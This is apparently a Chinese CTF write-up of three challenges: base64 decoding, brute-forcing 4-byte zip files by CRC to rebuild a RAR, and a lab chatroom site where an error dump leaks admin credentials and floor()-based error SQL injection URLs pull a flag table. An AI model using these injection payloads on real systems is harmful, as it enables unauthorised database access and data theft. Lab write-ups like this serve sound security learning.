1、一眼就解密
ZmxhZ3tUSEVfRkxBR19PRl9USElTX1NUUklOR30=
base64解码
flag{THE_FLAG_OF_THIS_STRING}
2、zip
尝试了伪加密不对，然后发现加密的长度是4字节，那么就可以爆破，想到了byxs20的爆破脚本
逐个爆破比较麻烦，可以通过脚本进行批量爆破，然后修改一下脚本
D:\CTF\MISC\Scripts\zip-crc-tools
通过exp.py调用change1.py(去除交互的过程)，得到全部的字符串
import os
for i in range(68):
os.system('python3 change1.py -f ./files/out{}.zip'.format(i))
然后将把文件内容拼接
[['data.txt', 4, '0x75f90d3a', ['z5Bz']]]
[['data.txt', 4, '0xbb21560', ['AAAN']]]
[['data.txt', 4, '0x9b0d08f1', ['AAAA']]]
[['data.txt', 4, '0x9b0d08f1', ['AAAA']]]
[['data.txt', 4, '0x30fa0c4d', ['AKo+']]]
[['data.txt', 4, '0xbaab6848', ['egCA']]]
[['data.txt', 4, '0xc2a03377', ['IwBJ']]]
[['data.txt', 4, '0x9b0d08f1', ['AAAA']]]
[['data.txt', 4, '0x56c367d7', ['VAAA']]]
[['data.txt', 4, '0x8881454e', ['AAKG']]]
[['data.txt', 4, '0xf399b503', ['NKv+']]]
[['data.txt', 4, '0x8a39ea8d', ['a2Md']]]
[['data.txt', 4, '0xf8522b5f', ['SR0z']]]
[['data.txt', 4, '0x22e2c069', ['AwAB']]]
[['data.txt', 4, '0x9b0d08f1', ['AAAA']]]
[['data.txt', 4, '0xabc2f082', ['Q01U']]]
[['data.txt', 4, '0x1b10de7b', ['CRUU']]]
[['data.txt', 4, '0x4246c91b', ['y91B']]]
[['data.txt', 4, '0x5a277153', ['T5Uk']]]
[['data.txt', 4, '0xe54efe07', ['SNPo']]]
[['data.txt', 4, '0x65e4ea0a', ['j5hF']]]
[['data.txt', 4, '0xdb4eed2e', ['EVFB']]]
[['data.txt', 4, '0xac675758', ['Rvef']]]
[['data.txt', 4, '0x3c84028a', ['HSBC']]]
[['data.txt', 4, '0x2b91ca65', ['fG0r']]]
[['data.txt', 4, '0x1200cac6', ['uGnK']]]
[['data.txt', 4, '0x422dd115', ['nygs']]]
[['data.txt', 4, '0xa40a3790', ['Myj8']]]
[['data.txt', 4, '0x7cbac4f2', ['SBaZ']]]
[['data.txt', 4, '0x33a35543', ['HxsY']]]
[['data.txt', 4, '0x2aa2f2bf', ['HY84']]]
[['data.txt', 4, '0xe5493ec', ['LEZ2']]]
[['data.txt', 4, '0x3196a7ea', ['4cXt']]]
[['data.txt', 4, '0x4e1b1b60', ['Z01y']]]
[['data.txt', 4, '0xa00b3338', ['3k1K']]]
[['data.txt', 4, '0x26f1c2c4', ['1YJ0']]]
[['data.txt', 4, '0x776956ca', ['vpK9']]]
[['data.txt', 4, '0x37f3cd7', ['HwqU']]]
[['data.txt', 4, '0xc7e6946c', ['zb6u']]]
[['data.txt', 4, '0xd6f0e0b6', ['9z8i']]]
[['data.txt', 4, '0x533d25ef', ['gEr3']]]
[['data.txt', 4, '0x20e4f175', ['dCCQ']]]
[['data.txt', 4, '0x3e45a71b', ['LQAd']]]
[['data.txt', 4, '0x9b0d08f1', ['AAAA']]]
[['data.txt', 4, '0xfa23e40b', ['HQAA']]]
[['data.txt', 4, '0x4d4c79c0', ['AAJi']]]
[['data.txt', 4, '0x2edc1696', ['0efV']]]
[['data.txt', 4, '0x4dcce21e', ['T2Md']]]
[['data.txt', 4, '0x86e357e2', ['SR0w']]]
[['data.txt', 4, '0xe3094587', ['CAAg']]]
[['data.txt', 4, '0x9b0d08f1', ['AAAA']]]
[['data.txt', 4, '0x6174723d', ['Zmxh']]]
[['data.txt', 4, '0x5a3c911f', ['Zy50']]]
[['data.txt', 4, '0xf14e1946', ['eHQA']]]
[['data.txt', 4, '0xf7d5bb98', ['sDRp']]]
[['data.txt', 4, '0xd5aaac4b', ['ZmZp']]]
[['data.txt', 4, '0xbbf6f69f', ['eCB0']]]
[['data.txt', 4, '0xc31189d5', ['aGUg']]]
[['data.txt', 4, '0xc5bf6c84', ['Zmls']]]
[['data.txt', 4, '0x6a2864de', ['ZSBh']]]
[['data.txt', 4, '0x80122009', ['bmQg']]]
[['data.txt', 4, '0x6823cb5a', ['Z2V0']]]
[['data.txt', 4, '0xec5157cc', ['IHRo']]]
[['data.txt', 4, '0x1a429051', ['ZSBm']]]
[['data.txt', 4, '0xc997df0d', ['bGFn']]]
[['data.txt', 4, '0x86bcd0ce', ['xD17']]]
[['data.txt', 4, '0xe5d81889', ['AEAH']]]
[['data.txt', 4, '0x4134031c', ['AA==']]]
拼接脚本
with open('./out.txt','r') as f:
data = f.read()
import re
result = re.findall(r' \[\'(.*?)\'\]', data)
print(''.join(result))
得到字符串如下：
cf 90 73 00 00 0d 00 00 00 00 00 00 00 aa 3e 7a 00 80 23 00 49 00 00 00 54 00 00 00 02 86 34 ab fe 6b 63 1d 49 1d 33 03 00 01 00 00 00 43 4d 54 09 15 14 cb dd 41 4f 95 24 48 d3 e8 8f 98 45 11 51 41 46 f7 9f 1d 20 42 7c 6d 2b b8 69 ca 9f 28 2c 33 28 fc 48 16 99 1f 1b 18 1d 8f 38 2c 46 76 e1 c5 ed 67 4d 72 de 4d 4a d5 82 74 be 92 bd 1f 0a 94 cd be ae f7 3f 22 80 4a f7 74 20 90 2d 00 1d 00 00 00 1d 00 00 00 02 62 d1 e7 d5 4f 63 1d 49 1d 30 08 00 20 00 00 00 66 6c 61 67 2e 74 78 74 00 b0 34 69 66 66 69 78 20 74 68 65 20 66 69 6c 65 20 61 6e 64 20 67 65 74 20 74 68 65 20 66 6c 61 67 c4 3d 7b 00 40 07 00
文件识别脚本发现是rar
文件头如下面的脚本
IMAGE = {
"JPG": {
"HEAD": ["FF D8 FF DB", "FF 4F FF 51", "FF D8 FF EE", "FF D8 FF E0 00 10 4A 46 49 46 00 01", "FF D8 FF E1 ?? ?? 45 78 69 66 00 00", "FF D8 FF E0"],
"TAIL": ["FF D9"]
},
"PNG": {
"HEAD": ["89 50 4E 47 0D 0A 1A 0A"],
"TAIL": ["00 00 00 00 49 45 4E 44 AE 42 60 82"]
},
"GIF": {
"HEAD": ["47 49 46 38 37 61", "47 49 46 38 39 61"],
"TAIL": ["00 3B"],
},
"WEBP": {
"HEAD": ["52 49 46 46 ?? ?? ?? ?? 57 45 42 50"],
"TAIL": [],
},
"BMP": {
"HEAD": ["42 4D"],
"TAIL": [],
},
"BPG": {
"HEAD": ["42 50 47 FB"],
"TAIL": [],
},
"TIF": {
"HEAD": ["49 49 2A 00"],
"TAIL": [],
},
"JP2": {
"HEAD": ["00 00 00 0C 6A 50 20 20 0D 0A 87 0A"],
"TAIL": [],
},
"PNM(.pbm, .pgm, .ppm)": {
"HEAD": ["50 31 0A", "50 34 0A", "50 32 0A", "50 35 0A", "50 33 0A", "50 36 0A"],
"TAIL": [],
}
}
COMPRESS = {
"ZIP/APK/DOCX/XLSX/PPTX": {
"HEAD": ["50 4B 03 04"],
"TAIL": ["50 4B 05 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??"],
},
"RAR v1.5 onwards": {
"HEAD": ["52 61 72 21 1A 07 00"],
"TAIL": ["C4 3D 7B 00 40 07 00"],
},
"RAR v5.0 onwards": {
"HEAD": ["52 61 72 21 1A 07 01 00"],
"TAIL": ["1D 77 56 51 03 05 04 00"]
},
"7ZIP": {
"HEAD": ["37 7A BC AF 27 1C"],
"TAIL": []
},
"ZLIB": {
"HEAD": ["78 01", "78 5E", "78 9C", "78 DA", "78 20", "78 7D", "78 BB", "78 F9"],
"TAIL": []
},
"BZ2": {
"HEAD": ["42 5A 68"],
"TAIL": []
},
"GZ/TAR": {
"HEAD": ["1F 8B"],
"TAIL": []
},
"XZ/TAR": {
"HEAD": ["FD 37 7A 58 5A 00"],
"TAIL": []
},
"LZIP(.lz)": {
"HEAD": ["4C 5A 49 50"],
"TAIL": []
},
"Microsoft Cabinet file(.cab)": {
"HEAD": ["4D 53 43 46"],
"TAIL": []
}
}
AUDIO = {
"MP3": {
"HEAD": ["FF FB", "FF F3", "FF F2", "49 44 33"],
"TAIL": []
},
"WAV": {
"HEAD": ["52 49 46 46 ?? ?? ?? ?? 57 41 56 45"],
"TAIL": []
},
"OGG": {
"HEAD": ["4F 67 67 53"],
"TAIL": []
},
"AU(.au)": {
"HEAD": ["2E 73 6E 64"],
"TAIL": []
},
}
VIDEO = {
"MP4": {
"HEAD": ["?? ?? ?? ?? 66 74 79 70 69 73 6F 6D"],
"TAIL": []
},
"3GP/3G2": {
"HEAD": ["?? ?? ?? ?? 66 74 79 70 33 67"],
"TAIL": []
},
"MP4/3GP/3G2": {
"HEAD": ["?? ?? ?? ?? 66 74 79 70"],
"TAIL": []
},
"AVI": {
"HEAD": ["52 49 46 46 ?? ?? ?? ?? 41 56 49 20"],
"TAIL": []
},
"WMV(.wmv, .wma, .asf)": {
"HEAD": ["30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C"],
"TAIL": []
}
}
OTHER = {
"PDF": {
"HEAD": ["25 50 44 46 2D"],
"TAIL": ["25 25 45 4F 46", "25 25 45 4F 46 0A"]
},
"DOC/XLS/PPT/MSI/MSG": {
"HEAD": ["D0 CF 11 E0 A1 B1 1A E1"],
"TAIL": []
},
"MKV/MKA/MKS/MK3D/WEBM": {
"HEAD": ["1A 45 DF A3"],
"TAIL": []
},
"PCAP": {
"HEAD": ["D4 C3 B2 A1"],
"TAIL": []
},
"PCAPNG": {
"HEAD": ["0A 0D 0D 0A"],
"TAIL": []
},
"PST": {
"HEAD": ["21 42 44 4E"],
"TAIL": []
},
"MRD/MRF": {
"HEAD": ["8D 84 1E 00 8D 84 1E 00"],
"TAIL": ["08 00 00 00 24 00 45 00 4E 00 44 00 00 00 00 00"]
}
}
FILE_DATA = [IMAGE, COMPRESS, AUDIO, VIDEO, OTHER]
文件头如下：
"RAR v1.5 onwards": {
"HEAD": ["52 61 72 21 1A 07 00"],
"TAIL": ["C4 3D 7B 00 40 07 00"],
010edIt补充文件头
得到flag
flag{nev3r_enc0de_t00_sm4ll_fil3_w1th_zip}
3、未上线的聊天室
首先通过dirsearch扫描目录得到如下结果：
[08:31:49] 200 - 0B - /config.php
[08:31:51] 301 - 319B - /css -> http://192.168.0.10:10001/css/
[08:31:53] 403 - 289B - /error/
[08:31:54] 301 - 321B - /fonts -> http://192.168.0.10:10001/fonts/
[08:31:56] 200 - 712B - /images/
[08:31:56] 301 - 322B - /images -> http://192.168.0.10:10001/images/
[08:31:57] 200 - 2KB - /include/
[08:31:57] 301 - 323B - /include -> http://192.168.0.10:10001/include/
[08:31:57] 302 - 0B - /index.php -> ./index.php?action=view&mod=index
[08:31:57] 302 - 0B - /index.php/login/ -> ./index.php?action=view&mod=index
[08:31:58] 200 - 3KB - /js/
[08:31:58] 301 - 318B - /js -> http://192.168.0.10:10001/js/
发现有用的就是这个include文件夹
目录结构如下：
Index of /include
[ICO] Name Last modified Size Description
[DIR] Parent Directory -
[DIR] action/ 10-Mar-2016 11:18 -
[TXT] autoload.php 11-Dec-2015 09:49 1.4K
[TXT] functions.php 10-Mar-2016 14:41 8.3K
[DIR] lib/ 20-Apr-2016 06:36 -
[DIR] view/ 10-Mar-2016 11:02 -
特便是action目录有四个功能函数
在浏览网页的过程中发现登录、发信息、注册都可以使用，只有删除不可以使用
而且发现注册账号的时候，管理员账号会提示信息，那么猜测只有管理员才可以使用delete功能。
然后还以为式xss漏洞，各种尝试发现绕不过转义功能，这个转义发现在js函数里面，但是停用js也不行，属于走了一趟弯路。
然后这个验证码也是生效的，那么爆破也没有希望，而且最后知道用户名和密码不是常规的弱口令，爆破这条路不可行。
最后在提示下知道register有漏洞，就是注册两个超级长的用户名会导致报错，其实错误的原因我也没有想明白，如注册
username1=bbbbbbbbbbbbbbbbbbbbbbb
username2=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
就会出现如下报错信息
将数据库中全部的数据都暴露出来了，向下翻找发现了管理员的用户名和密码，从报错的逻辑中发现了密码是hash值
22 =>
array (
'id' => '1',
'isadmin' => '1',
'nick' => 'admin',
'username' => 'admin_7365598732',
'password' => '24461a3ef270c652949f5fc37f37fcb2',
'time' => '2016-03-09 23:40:38',
),
),
),
),
通过somd5进行爆破得到密码
admin_7365598732
RGoN7r}G8lnrYBAX6n
然后使用用户名和密码进行登录
然后就发现了可以使用delete功能，点击之后发现如下url
http://192.168.0.10:10001/index.php?action=view&mod=delete&id=103
然后点击delete按钮之后就可以执行了
然后就可以进行报错注入了，这个地方就有一个坑来了，常用的updatexml不支持
报错注入的各种姿势
sql报错注入
测试之后发现floor函数这种注入方式可以
?id=' or (select 1 from (select count(*),concat(floor(rand(0)*2),(注入的sql语句) )a from information_schema.tables group by a)b)%23
接着就开始注入
step1:db_name
http://192.168.0.10:10001/index.php?action=view&mod=delete&id=1 or (select 1 from (select count(*),concat(floor(rand(0)*2),0x7e,(select database()))a from information_schema.tables group by a)b)%23
dbapp_web
step2:table_name
http://192.168.0.10:10001/index.php?action=view&mod=delete&id=1 or (select 1 from (select count(*),concat(floor(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1) )a from information_schema.tables group by a)b)%23
这个地方使用group_concat发现不行，然后limit 0,1选择第一个返回
z_flag_986746633
step3:column_name
http://192.168.0.10:10001/index.php?action=view&mod=delete&id=1 or (select 1 from (select count(*),concat(floor(rand(0)*2),0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='z_flag_986746633' limit 0,1) )a from information_schema.tables group by a)b)%23
id
http://192.168.0.10:10001/index.php?action=view&mod=delete&id=1 or (select 1 from (select count(*),concat(floor(rand(0)*2),0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='z_flag_986746633' limit 1,1) )a from information_schema.tables group by a)b)%23
flag
发现只有id和flag两个字段
step4:读取内容
http://192.168.0.10:10001/index.php?action=view&mod=delete&id=1 or (select 1 from (select count(*),concat(floor(rand(0)*2),0x7e,(select flag from z_flag_986746633) )a from information_schema.tables group by a)b)%23
直接读取flag发现还不行
使用concat拼接之后得到
http://192.168.0.10:10001/index.php?action=view&mod=delete&id=1 or (select 1 from (select count(*),concat(floor(rand(0)*2),0x7e,(select concat(id,flag) from z_flag_986746633 where id=1) )a from information_schema.tables group by a)b)%23
flag{12848c520c357d9b075f5e0956e95489}
扫一扫
850
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
